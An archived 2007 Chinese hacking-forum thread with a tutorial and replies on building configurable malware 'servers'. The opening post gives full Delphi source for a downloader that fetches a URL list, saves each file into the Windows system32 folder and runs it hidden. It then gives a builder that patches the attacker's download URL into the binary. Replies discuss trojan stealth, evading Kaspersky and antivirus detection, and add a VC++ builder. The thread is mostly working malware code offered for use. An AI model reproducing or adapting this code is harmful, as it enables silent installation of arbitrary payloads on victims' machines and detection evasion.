邪恶八进制信息安全团队技术讨论组's Archiver

lxm_991 2007-6-6 15:51

[原创]服务端生成技术的思考

信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
文章作者:lxm_991

最近在学习服务端文件的生成,相信有不少朋友也在学这个吧。下面就说一说个人的体会并介绍一种新的方法来生成服务端(超简单!)
好了下面开始
首先说一下服务端文件生成的思路:
1.把服务端文件编译成资源文件
2.在程序中导入资源文件并接受用户的配置信息
3.查找修改地址并写入配置信息
4.生成服务端文件

好了 过程就是这些 下面让我们来实现他吧。

首先写好我们的原始服务端  这里我们来写一个下载者为例。取名为down.exe  下面是源代码:
[code]program down;

uses
  SysUtils,urlmon,strutils,windows;
function DownloadFile(Source, Dest: string): Boolean;
begin
  try
   Result := UrlDownloadToFile(nil, PChar(source), PChar(Dest), 0, nil) = 0;
   except
    Result := False;
   end;
  end;

const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
var
file1:textfile;
s,a:string;
begin
downloadfile(f,'c:\windows\system32\atlog.txt');
assignfile(file1,'c:\windows\system32\atlog.txt');
reset(file1);
  while not eof(file1) do
   begin
   readln(file1,s);
    downloadfile(s,'c:\windows\system32\'+rightstr(s,8));
    a:='c:\windows\system32\'+rightstr(s,8);
     winexec(pchar(a),sw_hide);
   end;
end.[/code]

这是一个支持多文件下载的服务端  具体代码我就不分析了  大家自己理解  很简单的。。。。
要注意的是
[code]const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';[/code]

f 是等待用户来配置的变量  我们把它定义为50个x  这样在修改时好定位  这里x的个数关系到用户能够输入信息的长度
所以要定义足够多的x啊  免得后面不够用了。
好了  把它编译为down.exe
下面我们来找xxxxxxxxxx。的地址。

打开十六进制编辑器  搜索xxxxx 找到的那个地址就是了  我们这里是54012  (delphi2005编译)
然后新建一个文本文件  写入如下代码
[code]downman RCDATA down.exe[/code]
保存为downman.rc  ok 下面把它编译成资源文件
brcc32.exe downman.rc
这样我们就得到了一个名为downman.res的资源文件

好  把它拷贝到我们的编程目录。
新建一个工程。
建立全局变量
[code]const  offset_url:integer= 54012[/code]

在{$R *.dfm}下面加上{$r downman.res}  这样我们就在程序中加入了资源文件了
下面我们来看看普通的程序写法。

[code]procedure TForm1.Button1Click(Sender: TObject);
var
url:string;
WriteBuff, ziyuanzhizhen: PChar;
ziyuanweizhi: HRSRC;
ziyuandaxiao, BytesWritten: Longword;
shujuchulijubing: THandle;
shenqingzhizhen: THandle;
begin
url:=trim(edit1.Text);
if url<>&#39;&#39; then
begin
ziyuanweizhi := FindResource(HInstance, &#39;downman&#39;, RT_RCDATA);
ziyuandaxiao := SizeofResource(HInstance, ziyuanweizhi);
shujuchulijubing := LoadResource(HInstance, ziyuanweizhi);
ziyuanzhizhen := LockResource(shujuchulijubing);
shenqingzhizhen := CreateFile(pchar(&#39;server.exe&#39;), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(shenqingzhizhen, ziyuanzhizhen^, ziyuandaxiao, BytesWritten, nil);
Sleep(100);
SetFilePointer(shenqingzhizhen, OFFSET_url, nil, FILE_BEGIN);
WriteBuff := PChar(url + StringOfChar(#0, 50 - Length(url)));
WriteFile(shenqingzhizhen, WriteBuff^, 50, BytesWritten, nil);
CloseHandle(shenqingzhizhen);
end
else
showmessage(&#39;请输入配置文件的地址!!&#39;);
end;[/code]


代码我就不解释了  网上有好多。
是不是看的头晕晕的。呵呵  俺也一样。
下面就给大家介绍一种新方法(俺自己想的。)
首先 把资源文件提取出来并保存到流 s 里面
[code]procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,&#39;downman&#39;,RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;[/code]
s 是一个TMEMORYSTREAM 在public  申明一下就行了

好完成第一步了 下面我们用流来检索并修改。
[code]procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile(&#39;server1.exe&#39;);
s.Free;
end;[/code]

url  就是我们用户要输入的。  buffer 是用来填充前面说的f  (xxxxxxxx)
这样我们的服务端就生成完毕了。简单吧。

好  下面给出完整的程序供大家参考。
[code]unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
const
offset_url:integer=54012;
type
  TForm3 = class(TForm)
   Edit1: TEdit;
   Button1: TButton;
   Label1: TLabel;
   procedure restostream;
   procedure Button1Click(Sender: TObject);
  private
   { Private declarations }
  public
   { Public declarations }
   s:tmemorystream;
  end;

var
  Form3: TForm3;

implementation

{$R *.dfm}
{$r downman.res}

procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile(&#39;server1.exe&#39;);
s.Free;
end;

procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,&#39;downman&#39;,RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;
end.[/code]

gyzy 2007-6-8 10:13

放在资源里是不错的选择,有的时候却不是上策,因为无法加密..

狂封异袭 2007-6-8 10:18

第1种方法里的XXXXXXXXXXXXXXXX 应该尽量多,我尝试过,就是 XXXXXXXX因该比被替换的字符多,
[url]http://www.baidu.com[/url]比如是下载地址.你的XXXXXXXXXX的数目就必须大与网址的字符数目,不懂我这种理解是否正确!!

52piaoyu 2007-6-8 22:11

一般50个字符就行了
这个代码就是不能过卡巴的主动很郁闷
要是换成短网址就可以过
换成长的就不行

4nge.7b 2007-6-13 09:36

生成器也要合理地判断用户输入网站的地址长度... [s:265]
楼主的方法都是典型的生成器例子,也可以采用把配置信息写入尾端,不过这样会出现捆绑数据的现象... [s:270]

mika 2007-6-13 10:42

这种方式的不好的地方就是,如果你需要配置的信息太多(比如像生成木马服务端),这种操作方法太麻烦,而且还容易出错。碰到这种情况我一般采用INI文件的方式,将配置信息写入INI文件然后将该文件写入到服务端的资源中。服务端在执行时会释放INI文件并从中读取配置信息

lxm_991 2007-6-13 23:00

谢谢各位提的意见,目前还在研究中,有好的想法会马上会帖出来的。

lxm_991 2007-6-13 23:05

mika 的方法好是好 ,但是要是生成木马的话,还要带一个配置文件,隐蔽性不好

tsjmarco 2007-6-13 23:47

鸽子的配置信息 那样 怎么弄的? 不用释放东西的

lxm_991 2007-6-14 00:19

把文件直接载入流中修改的,,我想应该是

lovemfc 2007-6-14 00:22

少量的可以放到DOS头里,我的一个QQ自动登录的小程序就这样弄的,部分压缩软件不会修改DOS头呢。

4nge.7b 2007-6-14 21:34

to:mika
这方法貌似也不错,改天测试看看,不过如果要操控INI文件就要添加IniFiles单元,添加后由于是ini类,所以还要再添加Classes单元,单纯添加单元不写任何代码,编译出来的程序都有90多KB了,这方法也不太适合那些体积小的服务端使用.... [s:263]
to:tsjmarco
鸽子是把配置信息加密后更身到服务端的资源里面,以后服务端读取并解密就可以了.这也是不错的思路...[s:264]

max0301 2007-6-17 15:32

不懂delphi,大概明白楼主的意思。我也用vc写过一个downloader 的生成器。
主要代码
[color=#FF0066][code]
//定位所需资源
hrsrc=FindResource(NULL,MAKEINTRESOURCE(IDR_SERVER1),"Server");
if(!hrsrc)
{
        MessageBox("定位资源失败!");
        return;
}
//获取资源大小
dwSize=SizeofResource(NULL,hrsrc);
hresData=LoadResource(NULL,hrsrc);
if(!hresData)
{
        MessageBox("载入资源失败!");
        return;
}
//在内存中开辟和资源大小相同的区域
         LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,dwSize);
if(!p)
{
        MessageBox("内存分配失败!",NULL,MB_OK);
        return;
}
// ZeroMemory((PVOID)p,dwSize);
CopyMemory((PVOID)p,hresData,dwSize);
memset(szURL,0x00,sizeof(szURL));
//获得配置参数
::GetDlgItemText(hwnd,IDC_EDIT_URL,szURL,256);
//根据参数修改内存区域
ZeroMemory((PVOID)(p+0x6030),256);
CopyMemory((PVOID)(p+0x6030),szURL,sizeof(szURL));
//在当前目录下写入
        hFile=CreateFile(direcBuffer,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
[/code][/color]
方法和楼主刚开始说的一样,搞不明白的就是如何实现象winshell一样能够选择UPX压缩?
大家能给点代码就好了~ [s:263]

pipapi 2007-8-7 14:35

我最近也在看这个,问题是,每次修改后重新编译,xxxxx的位置就有变化,必须重新在生成器中定义,显得过于麻烦!

看了看鸽子1.2的方式,是写入服务端的尾部,这样就省了不少心!
但是现在新式的,都是将配置信息以资源形式写进了服务端,不知道这个如何完成?

81635631 2007-8-9 06:08

[s:265] 路过支持附加数据放在尾部....
免杀起来比资源型的好

hao0130 2007-8-18 17:11

楼主能不能搞个vb类的资源释放源码分析

页: [1]
© 1999-2008 EvilOctal Security Team